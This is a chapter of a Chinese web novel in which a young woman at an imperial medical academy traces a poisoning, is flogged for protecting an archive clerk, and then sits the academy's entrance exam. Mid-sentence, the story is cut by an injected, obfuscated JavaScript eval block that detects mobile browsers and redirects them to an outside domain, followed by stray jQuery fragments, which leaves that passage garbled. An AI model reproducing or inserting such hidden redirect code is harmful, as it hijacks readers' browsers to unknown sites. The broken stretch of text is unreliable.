梨花没从梅伯那儿得到更多有用消息,反被下了逐客令,阿香回来,她怕被看出端倪只说着急回太医院便匆匆走了,连给她们买的吃食也没顾上拿。
出了街口,看到清溪牵着谢府的马车望着她,想必是谢舟找她,四顾无人才上了车。
谢舟照例一身黑衣面无表情,“没什么要对上我说的吗?”
梨花想了一下道:“那天多谢你在皇上面前替我说话。”
谢舟鼻子哼哼,“还以为你只记得杨贞呢。”
梨花心道:和杨贞有什么关系,不过杨贞替她争取院考机会,是得找机会亲自道谢。谢舟不会这么闲只为听她一声谢谢吧,稍一琢磨想起来,他问的是药经阁那天的事。
梨花掏出一块折起的手绢递给谢舟,“你闻闻。”
谢舟结果放在鼻子下轻嗅:“有淡香。这是什么?”
梨花道:“从高彪舌头上刮出的东西。”谢舟皱眉将手绢丢下去,梨花强忍着没笑出来,谢舟看她一眼她才收敛。
梨花道:“我在药经阁找到一本毒经比对,确认高彪中的是离魂散之毒。离魂散是慢性毒药,能令中毒者头痛难眠呼吸不畅,易于伪装成其他病症,但有一个致命弱点,有香味。当时我以为是防腐药的味道,后来才分辨出是离魂散。”
“下毒者似乎等不及了,突然加大剂量才叫他一命呜呼,高彪流连风月身上有什么味道也不奇怪,才被伪装成马上风。”
谢舟道:“果然刁钻。”
梨花又道:“离魂散有不同配方,我无法具体得知,要是能找到毒经的作者说不定可以闻出来。”
“何人?”
“李守仁。”
梅伯虽没多说,至少确定李守仁与谢家有关。梨花说完偷偷观察谢舟的脸色,谢舟却面不改色道:“我知道了,此事你无需再管。”
梨花心道:闭口不提,果然有鬼。但她不好追问太急,便安静坐着再不说话,走到太医院后巷无人之处悄悄下车。
————
线索卡住,梨花只能继续埋头去档案库看医案。
夜里,梨花正披着外衫伏案翻书,只听档案库外一阵喧闹,接着门被人撞开,林公公带着几个医吏和内侍进来。
林公公道:“档案库重地,闲杂人等怎会在此?”
一人道:“恐是有人为院考买通医吏进来,虽说从档案陈旧无甚大用,但毕竟涉及皇家,若有泄露岂不连累公公和太医院众人?”
梨花这才看见说话人是报到那天的“懂事学子”,他第一个拿到好房间,又第一个认出杜仲,连档案库这等隐蔽之处也知道,大概对太医院十分熟悉。
她装傻道:“啊?这里不让人进来吗?那我现在离开。”
懂事学子道:“档案库是禁地,无令不得入。”
梨花道:“这样啊,你怎么知道的?你来过?”
懂事学子看一眼林公公紧张道:“我就是知道。”
梨花道:“那你怎么知道我在这儿?你跟踪我?”她突然抓紧衣服作出惊恐模样,实足一个被宵小觊觎的小姑娘,任谁看了都怜惜。
懂事学子无法解释,毕竟他也是悄悄进来看档案才无意中发现了梨花,多一个竞争对手总是不好,最好能把梨花赶出去。
他被绕进去,林公公却精明的很,咳嗽一声道:“说吧,谁是你的同谋。”他身后一个医吏低头在角落发抖,正是给梨花钥匙的人。
梨花道:“没有同谋,钥匙是我捡的。”医吏闻言稍稍放松。
却听林公公又道:“那就是他丢了钥匙,犯看管不力之罪,打了板子赶出太医院。”林公公十分看不惯梨花总挑战他的威严,偏要给她点教训,凡帮她的一个也不放过。
说着医吏已经被按在老虎凳上,眼见板子就要落下,这时杜院正赶过来,皱着眉问:“大晚上这是做什么。”
林公公行礼回复道:“档案库医吏丢了钥匙被方梨捡去,方梨潜入档案库偷看医案,老奴负责学子的管教,这才教训他们。”
杜院正长叹一口气对梨花道:“怎么又是你?”转身对林公公道,“不知者无罪,让她回去吧。大晚上板子也别打了,把人赶出去便罢。”
与医吏喝酒时梨花得知,他不是大夫,只是太医院雇来专管档案库的,已经干了十几年,上有老下有小,失去这份工作就活不下去了。
梨花犹豫一下道:“与他无关,钥匙是我偷的,打我板子吧。”
杜仲恨铁不成钢提醒,“你知不知道自己在说什么?”学子偷盗比医吏失职严重得多,为什么非要扩大事态呢。
梨花点头,他更气了,怒道:“给我打,打到她说真话为止。”
身上噼噼啪啪的板子打下来,每打几下杜仲就要问:“钥匙是你捡的吧?”梨花咬死回答:“不是。”即便内侍力气不大,十几板子下去也渗出血来。
梨花被打得皮开肉绽,医吏侧头不敢看她,懂事学子吓得厉害怕杜仲追究他。梨花小脸惨白几乎昏死过去,杜仲示意住手,厉声道:“念在她求学心切不再追究,此事不得泄露也不许再提。”
秋水仙被悄悄唤来给梨花收拾,勉强回了寝室,修养两天她便迫不及待回去上课,谎称洗漱时踩水滑倒行动不便。
梨花每走一步都感觉钻心的疼,院考在即她想多看点书,于是早上带好干粮和水在杏林堂呆一整天,晚上闭门才回去。
落了几天课,她借来别人笔记坐在门口台阶上补课。头顶一盏小灯笼随风晃荡,照得书页斑驳她看不清,正要咬牙站起扶正灯笼,肩膀突然被人拍一拍,一片蓝色衣角搭在台阶上。
梨花道:“多谢杜院正,我今天没犯什么错吧?”她说完吐吐舌头。
杜仲道:“为了多看两本书一会儿去扫地,一会儿挨板子,值得吗?”
梨花十分肯定点点头,“值得。”
杜仲望着梨花认真的模样半晌,笑道:“你呀,越看越像我一个老朋友,他也很执拗。”
报到时梨花说庚娘迎新生陆鹏送往生,其他人身为医者不精进医术却攀比炫耀身份,她的义正辞严像一面镜子照出其他人的卑劣,她很好,可惜不适合在太医院。
梨花想一想问道:“您说的朋友是李守仁太医吗?”
李守仁三个字仿佛禁忌,杜仲一听就变了脸色,梨花道:“我在医案上看到你
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16095454|176306||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
们以前做医吏时常常搭伴出诊。”原来是医案记录的,杜仲深吸一口气没有回答。
意识到这个问题不妥,梨花转变话题又问:“我看了这些年的医案,您以前开的都是猛药,后来同样的病症却开的更缓和甚至只是开了补药缓解症状,这是为什么呢?”
杜仲嗤笑:“你这丫头倒是心细如尘,你觉得是为什么呢?”
梨花想一想道:“猛药见效快,但缓和给药可以减少刺激,还能根据病情调整。”她期待地望向杜仲等待答案。
杜仲道:“这是其中一个原因。”
“那其他原因呢?”
“更重要的是看你面对的患者谁,有些时候比起治好病更重要的是不出错。很多病大家岂会看不出,可不能说,说了就会惹祸上身。”
太医主要为天潢贵胄诊治,杜仲见过甚至参与了太多腌臜事,梨花却不知其中关窍,张大嘴惊道:“看病还要装聋作哑?”
杜仲起身又拍拍她的肩膀,“恭喜你出师了。”这小丫头一点就通比他那老朋友聪明多了,若她真能进太医院,倒不妨收下这个小徒弟。
梨花沉思半天开口:“可我觉得不对,医者应该实事求是。”
杜仲道:“想进太医院没有你觉得,只有皇上觉得、太后觉得,你唯一要做的就是闭上嘴。一如李守仁这三个字,从此以后烂在肚子里。”他带着怒气掀衣离去。
梨花觉得杜院正的气生得莫名其妙,他究竟为她提到李守仁不悦,还是因为她不赞同装聋作哑恼怒?她无暇去想,继续啃书。
————
很快就迎来院考,院考采用积分制,从易到难共三场,学子三十人,第一场淘汰十人,第二场再淘汰十人,第三场淘汰七人总共留下三人。
院中已经放好三十张桌子,前面七把圈椅,一切准备就绪,众学子坐定。
考官由太医院五位授课太医组成,左二右二坐好,中间还空三把椅子,不一会门口进来蓝、红、黑三个人,蓝色是主考官杜仲,红色是奉命监督的杨贞,黑色是维护秩序的谢舟。
三人进来,梨花对杨贞微笑,杨贞状似无意点头,谢舟不小心踢到椅子弄出动静,杜仲投去关心的眼神,谢舟不理径直走上考官席。
杜仲本想客气地推让一下座位,谁料杨贞和谢舟一左一右直接坐在空椅子上,谁也不说话,杜仲尴尬一下装作无事发生,学子向他们三人行礼,院考便要开始。
这时门外传来内侍高声通报:“公主驾到——”
宁照夜从轿子跳下款款而来,也不管别人的目光,直接走到杨贞身边道:“行勉哥哥,我求了皇兄出宫来看看,你能陪我吗?”
杨贞行礼道:“公主殿下,臣奉命监察太医院院考,无暇陪伴您,还请见谅。”
宁照夜小嘴一翘正要发脾气,忽然道:“院考必定十分有趣,本公主要全程参加,省的某些人做手脚。”她目光朝身后某个方向甩过去。
某个方向上的梨花心道:不就是说我嘛,让你见识一下什么叫实力。
杜仲早让出主位,左边考官也让位给杜仲,坐到医吏搬来的另一张椅子上。
院考正式开始。